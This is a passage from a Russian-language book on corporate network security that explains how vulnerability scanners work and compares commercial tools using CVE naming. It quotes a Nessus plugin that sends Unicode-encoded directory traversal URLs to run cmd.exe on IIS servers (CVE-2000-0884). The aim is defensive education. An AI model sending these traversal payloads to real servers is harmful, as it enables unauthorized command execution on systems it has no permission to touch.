Коллектив авторов - Защита от хакеров корпоративных сетей

Для тестирования каждого хоста инструментальные средства сканирования используют ряд проверок или просмотров сигнатур. Большинство коммерческих и свободно распространяемых сканеров поддерживают легкий для понимания и использования язык создания сценариев. Любой, кто хоть немного знаком с программированием, может понять алгоритм работы проверок и определить, что именно они ищут. Ниже показан пример реализации алгоритма сканирования в сканере Nessus – одном из свободно распространяемых сканеров. Сканирование выполняется с целью поиска хостов, не защищенных от атаки на информационный сервер Интернет с использованием его уязвимости под названием уязвимость обхода директорий (Internet Information Server(IIS) Directory Traversal Vulnerability – CVE ID 2000–0884).

Полная версия плагина (подключаемой программы plug-in) Nessus доступна на сайте http://cvs.nessus.org/cgi-bin/cvsweb.cgi/~checkout~/nessus-plugins/scripts/iis_dir_traversal.nasl.

script_description(english:desc[“english”]);

summary[“english”] = “Determines if arbitrary commands can

be executed thanks to IIS”;

script_summary(english:summary[“english”]);

script_category(ACT_GATHER_INFO);

script_copyright(english:“This script is Copyright (C) 2001

H D Moore”);

family[“english”] = “CGI abuses”;

script_family(english:family[“english”]);

script_dependencie(“find_service.nes”, “http_version.nasl”);

script_require_ports(“Services/www”, 80);

script_require_keys(“www/iis”);

exit(0);

}

port = get_kb_item(“Services/www”);

if(!port)port = 80;

dir[0] = “/scripts/”;

dir[1] = “/msadc/”;

dir[2] = “/iisadmpwd/”;

dir[3] = “/_vti_bin/”; # FP

dir[4] = “/_mem_bin/”; # FP

dir[5] = “/exchange/”; # OWA

dir[6] = “/pbserver/”; # Win2K

dir[7] = “/rpc/”; # Win2K

dir[8] = “/cgi-bin/”;

dir[9] = “/”;

uni[0] = “%c0%af”;

uni[1] = “%c0%9v”;

uni[2] = “%c1%c1”;

uni[3] = “%c0%qf”;

uni[4] = “%c1%8s”;

uni[5] = “%c1%9c”;

uni[6] = “%c1%pc”;

uni[7] = “%c1%1c”;

uni[8] = “%c0%2f”;

uni[9] = “%e0%80%af”;

function check(req)

{

soc = open_sock_tcp(port);

if(soc)

{

req = http_get(item:req, port:port);

send(socket:soc, data:req);

r = recv(socket:soc, length:1024);

close(soc);

pat = “

”;

pat2 = “Directory of C”;

if((pat >< r) || (pat2 >< r)){

security_hole(port:port);

return(1);

}

}

return(0);

}

cmd = “/winnt/system32/cmd.exe?/c+dir+c:\\+/OG”;

for(d=0;dir[d];d=d+1)

{

for(u=0;uni[u];u=u+1)

{

url = string(dir[d], “..”, uni[u], “..”, uni[u], “..”,

uni[u], “..”, uni[u], “..”, uni[u], “..”, cmd);

if(check(req:url))exit(0);

}

Как читатель может понять, программа проверки, написанная Муром (H D Moore) для сканера Nessus, активно попытается воспользоваться известной ей уязвимостью. В случае обнаружения уязвимого хоста будет послано сообщение. С другой стороны, программа может проверить ту же самую уязвимость путем простой проверки соответствующего ключа реестра:

HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\%HOTFIX_NUMBER%

Последний способ проще, и вероятно, его легче запрограммировать, но у него есть несколько недостатков. Во-первых, для проверки ключа реестра требуется доступ с правами администратора. Во-вторых, рассматриваемый способ может как подтвердить факт инсталляции заплаты системы безопасности Hotfix, так и не подтвердить его, если заплата была установлена правильно или если система на самом деле неуязвима. Часто инсталляция этой возможности в Windows NT вынуждает операционную систему затребовать чтение файлов с оригинального инсталляционного CD-диска, что в значительной степени ведет к возврату в небезопасное состояние системы после ее первой инсталляции. Причем после инсталляции ключ останется в реестре, хотя исправляемая заплатой ошибка не будет еще исправлена патчем.

Современные традиционные инструментальные средства, столкнувшись с такой ситуацией, прекратят свою работу и отошлют отчет с результатами сканирования обратно оператору. Некоторые из новейших, ныне разрабатываемых инструментальных средств способны продвинуться на шаг дальше. Далее на примере той же самой уязвимости CVE ID 2000–0884 информационного сервера Интернет IIS будут объяснены подходы к ее разрешению, которые используются в некоторых разрабатываемых инструментальных средствах тестирования на проникновение.

Алгоритм работы подобных инструментальных средств предусматривает следующую последовательность действий. Сначала они попытаются определить, уязвима система или нет, используя для этого почти такой же сценарий, как и плагин (подключаемая программа) к сканеру Nessus. Затем найденная уязвимость будет использована для дальнейшего сбора информации о сканируемом хосте и его сети. Собрав необходимую информацию и используя другие уязвимости совместно с командами, даже простыми, перспективные инструментальные средства тестирования на проникновение попытаются проникнуть в систему и ее сеть дальше.

Анализ коммерческих инструментальных средств

Сегодня на рынке доступны многочисленные коммерческие инструментальные средства. Покупка любого из них является задачей, которая может привести в замешательство и отпугнуть потенциального покупателя своей сложностью. Как и в случае с большинством других продуктов, группа маркетинга каждого производителя будет убеждать покупателя, что их программа лучшая и что она выполняет больше всех проверок. Проблема при покупке рассматриваемого инструментария состоит в том, что не все производители оценивают их по единым критериям. Финансируемая федеральным правительством США организация проектно-конструкторских работ Mitre (www.mitre.org) частично обратила внимание на эту проблему, создав словарь распространенных уязвимостей и дефектов CVE (Common Vulnerabilities and Exposures). Этот словарь является стандартизированным соглашением по именованию уязвимостей и дефектов информационной безопасности. Создание словаря CVE преследовало цель облегчить для производителей инструментария безопасности и конечных пользователей установку соответствия между информацией об уязвимости и многочисленными инструментальными средствами. В настоящее время ряд коммерческих и свободно распространяемых инструментальных средств установили или находятся в процессе установления соответствия между своими базами данных и идентификаторов словаря CVE. Следует отметить, что такое соответствие очень важно для оценки использования рассматриваемых инструментальных средств. В таблице 17.1 приведены некоторые сканеры и число обнаруживаемых ими уязвимостей.

Таблица 17.1.

Сканеры и число обнаруживаемых ими уязвимостей

Читатель может заметить, что если учитывать лишь число обнаруживаемых уязвимостей, то разница между сканерами приобретает драматический характер. Если бы каждый производитель находил и подсчитывал бы уязвимости, основываясь на словаре CVE, то это было бы идеальным выходом из сложившейся путаной ситуации. Это не такая уж простая задачка, поскольку для большинства производителей переход на словарь CVE означает не только пересмотр правил подсчета проверок, но и переписывание самих проверок. Производители постоянно находят новые способы продемонстрировать значительное преимущество своих программ. При использовании словаря CVE игра в проверки перестанет существовать, и сделается возможным справедливое сравнение инструментальных средств с помощью таких их характеристик, как процент ложных срабатываний, удобство и простота использования, эффективность сканирования и возможности выдачи отчетов. Именно эти показатели станут ключевыми показателями при определении лучшей программы.